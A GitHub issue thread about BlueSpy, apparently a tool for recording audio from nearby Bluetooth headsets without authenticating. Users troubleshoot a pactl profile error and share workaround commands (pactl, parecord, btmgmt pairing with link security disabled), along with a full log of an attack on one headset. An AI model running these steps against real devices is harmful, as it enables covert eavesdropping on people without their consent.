Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exception: ('Error while executing command pactl set-card-profile bluez_card.60_AB_D2_3B_29_70 headset-head-unit-msbc', '') #1

Open
LeeKoTo opened this issue Mar 19, 2024 · 16 comments
Assignees

Comments

@LeeKoTo
Copy link

LeeKoTo commented Mar 19, 2024

when i run bluespy.py,i got this error
Exception: ('Error while executing command pactl set-card-profile bluez_card.60_AB_D2_3B_29_70 headset-head-unit-msbc', '')

@androidmalware
Copy link

It happened to me too. You need to run the command manually after the error:

pactl set-card-profile bluez_card.60_AB_D2_3B_29_70 headset-head-unit-msbc
parecord -d bluez_input.60_AB_D2_3B_29_70.0 recording.wav
paplay -d bluez_output.60_AB_D2_3B_29_70.1 recording.wav

I explained and demonstrated it in my blog post.

@antoniovazquezblanco
Copy link
Collaborator

Thanks for the report. We have just merged a change that allows you to run BlueSpy with the -v verbose flag to collect the full output of the error.

Could you please download the latest version and execute the program with the -v option to collect more information?

Thank you

@arobase-che

This comment was marked as off-topic.

@antoniovazquezblanco antoniovazquezblanco self-assigned this Mar 26, 2024
@antoniovazquezblanco
Copy link
Collaborator

I suspect this may be multiple issues mixed. I am only going to deal with @LeeKoTo in this issue. I am going to move the rest of the comments to other threads/issues to deal with them separately.

@antoniovazquezblanco
Copy link
Collaborator

when i run bluespy.py,i got this error Exception: ('Error while executing command pactl set-card-profile bluez_card.60_AB_D2_3B_29_70 headset-head-unit-msbc', '')

@LeeKoTo could you please post the execution logs with the -v parameter?
Thanks!

@LeeKoTo
Copy link
Author

LeeKoTo commented Mar 26, 2024

@antoniovazquezblanco thanks,I am now running this script with three Bluetooth headsets. The code runs normally twice, and this error is reported once.
python3 BlueSpy.py -a FC:E8:06:72:07:F9 -v

Bluetooth audio recording tool by Tarlogic
[I] Avoiding authentication with FC:E8:06:72:07:F9...
[I] Generating shared key...
[C] sudo btmgmt bondable true
hci0 Set Bondable complete, settings: powered ssp br/edr le secure-conn

[C] sudo btmgmt pairable true
hci0 Set Bondable complete, settings: powered ssp br/edr le secure-conn

[C] sudo btmgmt linksec false
hci0 Set Link Security complete, settings: powered ssp br/edr le secure-conn

[C] sudo btmgmt pair -c 3 -t 0 fc:e8:06:72:07:f9
Pairing with FC:E8:06:72:07:F9 (BR/EDR)
hci0 FC:E8:06:72:07:F9 type BR/EDR connected eir_len 24
hci0 new_link_key FC:E8:06:72:07:F9 type 0x04 pin_len 0 store_hint 0
Paired with FC:E8:06:72:07:F9 (BR/EDR)

[!] Key generated
[I] The device is vulnerable!
[I] Establishing connection...
[C] bluetoothctl --timeout 2 scan on
Discovery started
[CHG] Controller D8:3A:DD:5B:43:44 Discovering: yes
[NEW] Device F8:24:41:0A:7C:5A F8-24-41-0A-7C-5A
[NEW] Device 73:2D:09:97:1E:6D 73-2D-09-97-1E-6D
[NEW] Device 5B:60:0D:CC:2D:28 5B-60-0D-CC-2D-28
[NEW] Device 4C:E1:74:31:FB:55 EFIII-150
[NEW] Device FC:E8:00:6A:EE:D1 EDIFIER BLE
[NEW] Device F8:24:41:06:29:0B F8-24-41-06-29-0B
[NEW] Device 59:20:4C:2B:C6:8E 59-20-4C-2B-C6-8E
[NEW] Device FC:E8:00:F8:6E:79 EDIFIER BLE
[NEW] Device 4C:37:F6:49:64:2B 4C-37-F6-49-64-2B
[NEW] Device 68:CE:B1:F9:0A:0A 68-CE-B1-F9-0A-0A
[NEW] Device 57:43:D1:0D:E5:57 57-43-D1-0D-E5-57
[NEW] Device 65:92:A8:F7:7F:7D 65-92-A8-F7-7F-7D
[NEW] Device 40:90:3A:06:48:4E 40-90-3A-06-48-4E
[CHG] Device FC:E8:06:72:07:F9 UUIDs: 00001101-0000-1000-8000-00805f9b34fb
[CHG] Device FC:E8:06:72:07:F9 UUIDs: 0000110b-0000-1000-8000-00805f9b34fb
[CHG] Device FC:E8:06:72:07:F9 UUIDs: 0000110c-0000-1000-8000-00805f9b34fb
[CHG] Device FC:E8:06:72:07:F9 UUIDs: 0000110e-0000-1000-8000-00805f9b34fb
[CHG] Device FC:E8:06:72:07:F9 UUIDs: 0000111e-0000-1000-8000-00805f9b34fb
[CHG] Device FC:E8:06:72:07:F9 ServicesResolved: yes
[CHG] Device FC:E8:06:72:07:F9 Paired: yes
[NEW] Device F8:24:41:08:35:13 F8-24-41-08-35-13
[NEW] Device F8:24:41:08:38:5C F8-24-41-08-38-5C

[C] bluetoothctl connect fc:e8:06:72:07:f9
Attempting to connect to fc:e8:06:72:07:f9
[NEW] Endpoint /org/bluez/hci0/dev_FC_E8_06_72_07_F9/sep1
[NEW] Endpoint /org/bluez/hci0/dev_FC_E8_06_72_07_F9/sep2
[NEW] Transport /org/bluez/hci0/dev_FC_E8_06_72_07_F9/sep1/fd4
Connection successful

[I] Starting audio recording...
[!] Recording!
[C] pactl set-card-profile bluez_card.FC_E8_06_72_07_F9 headset-head-unit-msbc

Traceback (most recent call last):
  File "/home/bluespy/BlueSpy/BlueSpy.py", line 89, in <module>
    main()
  File "/home/bluespy/BlueSpy/BlueSpy.py", line 79, in main
    record(target, outfile=args.outfile, verbose=args.verbose)
  File "/home/bluespy/BlueSpy/core.py", line 130, in record
    run_and_check(
  File "/home/bluespy/BlueSpy/core.py", line 73, in run_and_check
    raise Exception(f"Error while executing command {cmdline}", out)
Exception: ('Error while executing command pactl set-card-profile bluez_card.FC_E8_06_72_07_F9 headset-head-unit-msbc', '')

@LeeKoTo
Copy link
Author

LeeKoTo commented Mar 26, 2024

It happened to me too. You need to run the command manually after the error:

pactl set-card-profile bluez_card.60_AB_D2_3B_29_70 headset-head-unit-msbc
parecord -d bluez_input.60_AB_D2_3B_29_70.0 recording.wav
paplay -d bluez_output.60_AB_D2_3B_29_70.1 recording.wav

I explained and demonstrated it in my blog post.

thank u , u are right

@antoniovazquezblanco
Copy link
Collaborator

Executing the commands manually seems to solve the issue. I am thinking this may be a "timing issue". In #8 a delay is added to see if this is enough... Whenever the PR is merged, let me know if this fixes it for you :)

@antoniovazquezblanco
Copy link
Collaborator

Merged #8 . Can you test again?

@LeeKoTo
Copy link
Author

LeeKoTo commented Mar 28, 2024

Merged #8 . Can you test again?

Unfortunately, the problem still exists,error info as same as before

@androidmalware
Copy link

Merged #8 . Can you test again?

I am also still receiving the same command exec error

Traceback (most recent call last): 
  File "/home/kali/tools/BlueSpy/BlueSpy.py", line 94, in <module>
    main()
  File "/home/kali/tools/BlueSpy/BlueSpy.py", line 84, in main
    record(target, outfile=args.outfile, verbose=args.verbose)
  File "/home/kali/tools/BlueSpy/core.py", line 119, in record
    run_and_check(
  File "/home/kali/tools/BlueSpy/system.py", line 35, in run_and_check
    raise CommandValidationException(cmdline, out)
system.CommandValidationException: ('Error while executing command "pactl set-card-profile bluez_card.04_FE_A1_40_EB_31 headset-head-unit-msbc"', '')

@hxrofo
Copy link

hxrofo commented Mar 28, 2024

the way it worked for me is by checking the following:
pactl list cards |grep headset
there was only headset-head-unit, NOT headset-head-unit-msbc
so i modified the code to:
pactl set-card-profile bluez_card.4C_72_74_90_0A_D8 headset-head-unit

@YSMELC
Copy link

YSMELC commented Apr 3, 2024

It happened to me too. You need to run the command manually after the error:

pactl set-card-profile bluez_card.60_AB_D2_3B_29_70 headset-head-unit-msbc
parecord -d bluez_input.60_AB_D2_3B_29_70.0 recording.wav
paplay -d bluez_output.60_AB_D2_3B_29_70.1 recording.wav

I explained and demonstrated it in my blog post.

That's not working for me when I'm trying manually, it return "Failure : No such entity" or "Connection Refused" when I use pactl command

@vivmayz
Copy link

vivmayz commented May 13, 2024

Hey guys, so I was running into the same issue, but it solved it for me by not running the commands as root (I am not completely sure why but somehow pulseaudio shouldn't be run as root). You need to check your user's permissions, it needs to have audio, pulse and pulse-access permissions. Afterwards I ran into the issue that parecord refused the permission to open the audio file, so you also have to make sure that your user has write permissions for the directory where the audio gets recorded. In the case of BlueSpy I added write-permission to the whole BlueSpy directory. Then everything should work :)

@ahmed200091
Copy link

When I enter orders that are written I get a mistake
pactl set-card-profile bluez_card.04_FE_A1_40_EB_31 headset-head-unit-msbc
Connection failure: Connection refused
pa_context_connect() failed: Connection refused

@kakihunter
Copy link

when i run bluespy.py,i got this error Exception: ('Error while executing command pactl set-card-profile bluez_card.60_AB_D2_3B_29_70 headset-head-unit-msbc', '')

hi i resolved this error by changing headset-head-unit-msbc profile to audio-gateway
you can change that in code in core.py
def record(target: BluezTarget, outfile: str, verbose: bool = True):
source_name = to_source_name(target)
card_name = to_card_name(target)
run_and_check(
shlex.split(f"pactl set-card-profile {card_name} audio-gateway"),
verbose=verbose,
)

but i am still getting erroe in parecord

raise CommandValidationException(cmdline, out)
system.CommandValidationException: ('Error while executing command "parecord -d bluez_input.94_8A_C6_A9_F0_C6.0 recording.wav"', '')

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

9 participants